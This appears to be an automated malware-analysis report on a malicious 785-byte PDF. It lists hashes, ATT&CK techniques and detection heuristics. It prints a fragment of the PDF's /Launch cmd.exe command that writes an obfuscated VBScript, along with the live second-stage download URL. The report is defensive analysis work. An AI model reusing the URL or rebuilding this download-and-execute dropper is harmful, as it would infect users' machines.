PDF malware analysis — malicious · 596ef5c87d379afa

MALICIOUS

PDF

785 B

MD5: c364ce72fbe94c4d74a4ed2be37f502e SHA-1: 8d2bc0a2db318411f8c4986dc67d075668584d2a SHA-256: 596ef5c87d379afa09a1165f33424d0c3f731f75ee8a878a49abb3d3295fb104

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF contains a launch action that executes cmd.exe, which in turn echoes a VBScript payload to a file named m.vbs. This script is designed to download and execute a second-stage payload from the embedded URL http://18.blomf.info/x/img.php?d=1. The script construction is obfuscated, but the intent to download and execute is clear.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://18.blomf.info/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000067.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x67	63 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.